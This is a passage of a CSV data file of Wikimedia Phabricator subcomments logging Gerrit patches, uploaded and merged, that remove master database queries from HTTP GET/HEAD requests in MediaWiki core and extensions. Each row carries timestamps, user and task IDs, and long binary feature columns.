+",,,1496981862,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,101,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+869406,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 353827 merged by jenkins-bot:
+[mediawiki/core@master] Avoid DB_MASTER queries in User::newSystemUser() when possible
+
+[[https://gerrit.wikimedia.org/r/353827]]
+",,,1496466969,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,100,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1
+864682,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 353825 merged by jenkins-bot:
+[mediawiki/extensions/CentralAuth@master] Avoid master queries in SpecialGlobalRenameProgress
+
+[[https://gerrit.wikimedia.org/r/353825]]
+",,,1495648698,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,98,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+862499,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 353829 merged by jenkins-bot:
+[mediawiki/extensions/Translate@master] Use TranslateUtils::getSafeReadDB() in loadAggregateGroups
+
+[[https://gerrit.wikimedia.org/r/353829]]
+",,,1495275740,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,98,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+860328,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 353824 merged by jenkins-bot:
+[mediawiki/extensions/PageTriage@master] Avoid DB_MASTER queries on HTTP GET in ArticleMetadata->getMetadata
+
+[[https://gerrit.wikimedia.org/r/353824]]
+",,,1494929182,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,97,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+859530,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 353829 had a related patch set uploaded (by Aaron Schulz; owner: Aaron Schulz):
+[mediawiki/extensions/Translate@master] Use TranslateUtils::getSafeReadDB() in loadAggregateGroups
+
+[[https://gerrit.wikimedia.org/r/353829]]
+",,,1494807902,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,97,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+859528,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 353827 had a related patch set uploaded (by Aaron Schulz; owner: Aaron Schulz):
+[mediawiki/core@master] Avoid DB_MASTER queries in User::newSystemUser() when possible
+
+[[https://gerrit.wikimedia.org/r/353827]]
+",,,1494806212,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,97,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,1
+859527,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 353825 had a related patch set uploaded (by Aaron Schulz; owner: Aaron Schulz):
+[mediawiki/extensions/CentralAuth@master] Avoid master queries in SpecialGlobalRenameProgress
+
+[[https://gerrit.wikimedia.org/r/353825]]
+",,,1494805894,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,97,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+859526,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 353824 had a related patch set uploaded (by Aaron Schulz; owner: Aaron Schulz):
+[mediawiki/extensions/PageTriage@master] Avoid DB_MASTER queries on HTTP GET in ArticleMetadata->getMetadata
+
+[[https://gerrit.wikimedia.org/r/353824]]
+",,,1494805597,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,97,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+859521,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 353823 had a related patch set uploaded (by Aaron Schulz; owner: Aaron Schulz):
+[mediawiki/extensions/CentralAuth@master] Avoid master queries in beginSecondaryAuthentication()
+
+[[https://gerrit.wikimedia.org/r/353823]]
+",,,1494802154,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,97,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+854709,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 351790 merged by jenkins-bot:
+[mediawiki/extensions/CentralAuth@master] Add $flags parameter to renameInProgressOn()
+
+[[https://gerrit.wikimedia.org/r/351790]]
+",,,1493955000,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,96,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+854707,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 351790 had a related patch set uploaded (by Krinkle; owner: Aaron Schulz):
+[mediawiki/extensions/CentralAuth@master] Add $flags parameter to renameInProgressOn()
+
+[[https://gerrit.wikimedia.org/r/351790]]
+",,,1493954850,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,96,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+852422,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 350969 merged by jenkins-bot:
+[mediawiki/core@master] Avoid master queries in loadAndLazyInit() for miser mode
+
+[[https://gerrit.wikimedia.org/r/350969]]
+",,,1493681077,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,95,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+851546,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 350969 had a related patch set uploaded (by Aaron Schulz; owner: Aaron Schulz):
+[mediawiki/core@master] Avoid master queries in loadAndLazyInit() for miser mode
+
+[[https://gerrit.wikimedia.org/r/350969]]
+",,,1493442672,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,95,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+843924,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 348658 had a related patch set uploaded (by Aaron Schulz):
+[mediawiki/extensions/CentralAuth@master] Avoid triggering master queries in ApiValidatePassword
+
+[[https://gerrit.wikimedia.org/r/348658]]
+",,,1492476106,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,93,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+842256,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 348030 merged by jenkins-bot:
+[mediawiki/extensions/CentralAuth@master] Make opportunistic password hash upgrades post-send
+
+[[https://gerrit.wikimedia.org/r/348030]]
+",,,1492111899,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,93,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+841622,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 348030 had a related patch set uploaded (by Aaron Schulz):
+[mediawiki/extensions/CentralAuth@master] Make opportunistic password hash upgrades post-send
+
+[[https://gerrit.wikimedia.org/r/348030]]
+",,,1492046316,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,93,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+745091,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 309877 merged by jenkins-bot:
+Make CentralAuthHooks::onLocalUserCreated() trigger importLocalNames()
+
+[[https://gerrit.wikimedia.org/r/309877]]",,,1476571870,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,67,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+743394,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 309868 merged by jenkins-bot:
+Make SessionBackend::save() update the user post-send
+
+[[https://gerrit.wikimedia.org/r/309868]]",,,1476300883,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,66,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+727477,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 309861 merged by jenkins-bot:
+Avoid page_touched update for HTTP GET action=purge requests
+
+[[https://gerrit.wikimedia.org/r/309861]]",,,1473748853,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,62,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+726507,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 309877 had a related patch set uploaded (by Aaron Schulz):
+Make CentralAuthUser::register() trigger importLocalNames()
+
+[[https://gerrit.wikimedia.org/r/309877]]
+",,,1473626657,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,62,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+726504,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 309868 had a related patch set uploaded (by Aaron Schulz):
+Make SessionBackend::save() update the user post-send
+
+[[https://gerrit.wikimedia.org/r/309868]]
+",,,1473623801,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,62,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+726492,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 309861 had a related patch set uploaded (by Aaron Schulz):
+Avoid page_touched update for HTTP GET action=purge requests
+
+[[https://gerrit.wikimedia.org/r/309861]]
+",,,1473619811,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,62,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+697344,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 299880 merged by jenkins-bot:
+Fix central logout
+
+[[https://gerrit.wikimedia.org/r/299880]]",,,1468969812,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,54,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+697298,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 299880 had a related patch set uploaded (by Gergő Tisza):
+Fix central logout
+
+[[https://gerrit.wikimedia.org/r/299880]]
+",,,1468966565,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,54,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+689351,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 297577 merged by jenkins-bot:
+Avoid DBPerformance log warnings in onUserLogout()
+
+[[https://gerrit.wikimedia.org/r/297577]]",,,1467804202,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,52,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+689348,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 297577 had a related patch set uploaded (by Gergő Tisza):
+Avoid DBPerformance log warnings in onUserLogout()
+
+[[https://gerrit.wikimedia.org/r/297577]]
+",,,1467804046,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,52,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+677531,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 292522 merged by jenkins-bot:
+Avoid DBPerformance warnings in writeToDatabase()
+
+[[https://gerrit.wikimedia.org/r/292522]]",,,1465547698,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,49,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+674365,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 292524 merged by jenkins-bot:
+Avoid DBPerformance warnings in Category::initialize()
+
+[[https://gerrit.wikimedia.org/r/292524]]",,,1464993550,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,48,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+673812,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 292524 had a related patch set uploaded (by Aaron Schulz):
+Avoid DBPerformance warnings in Category::initialize()
+
+[[https://gerrit.wikimedia.org/r/292524]]
+",,,1464930487,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,48,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+673811,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 292522 had a related patch set uploaded (by Aaron Schulz):
+Avoid DBPerformance warnings in writeToDatabase()
+
+[[https://gerrit.wikimedia.org/r/292522]]
+",,,1464929915,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,48,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+670096,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 290865 merged by jenkins-bot:
+Avoid master queries/writes in listUnattached()
+
+[[https://gerrit.wikimedia.org/r/290865]]",,,1464363195,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,47,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+669735,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 291109 merged by jenkins-bot:
+Avoid master queries on HTTP GET in getVisibilitySettingsFromRow()
+
+[[https://gerrit.wikimedia.org/r/291109]]",,,1464303972,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,47,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+669624,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 291109 had a related patch set uploaded (by Aaron Schulz):
+Avoid master queries on HTTP GET in getVisibilitySettingsFromRow()
+
+[[https://gerrit.wikimedia.org/r/291109]]
+",,,1464297690,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,47,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+669325,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 289811 merged by jenkins-bot:
+Avoid DBPerformance warnings on PURGE/TRACE requests
+
+[[https://gerrit.wikimedia.org/r/289811]]",,,1464281109,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,47,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+668853,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 290865 had a related patch set uploaded (by Aaron Schulz):
+Avoid master queries/writes in listUnattached()
+
+[[https://gerrit.wikimedia.org/r/290865]]
+",,,1464229491,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,47,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+665695,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 289810 merged by jenkins-bot:
+Avoid master connection in recacheMessageCount()
+
+[[https://gerrit.wikimedia.org/r/289810]]",,,1463727080,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,46,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+665670,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 289811 had a related patch set uploaded (by Aaron Schulz):
+Avoid DBPerformance warnings on PURGE/TRACE requests
+
+[[https://gerrit.wikimedia.org/r/289811]]
+",,,1463715092,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,46,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
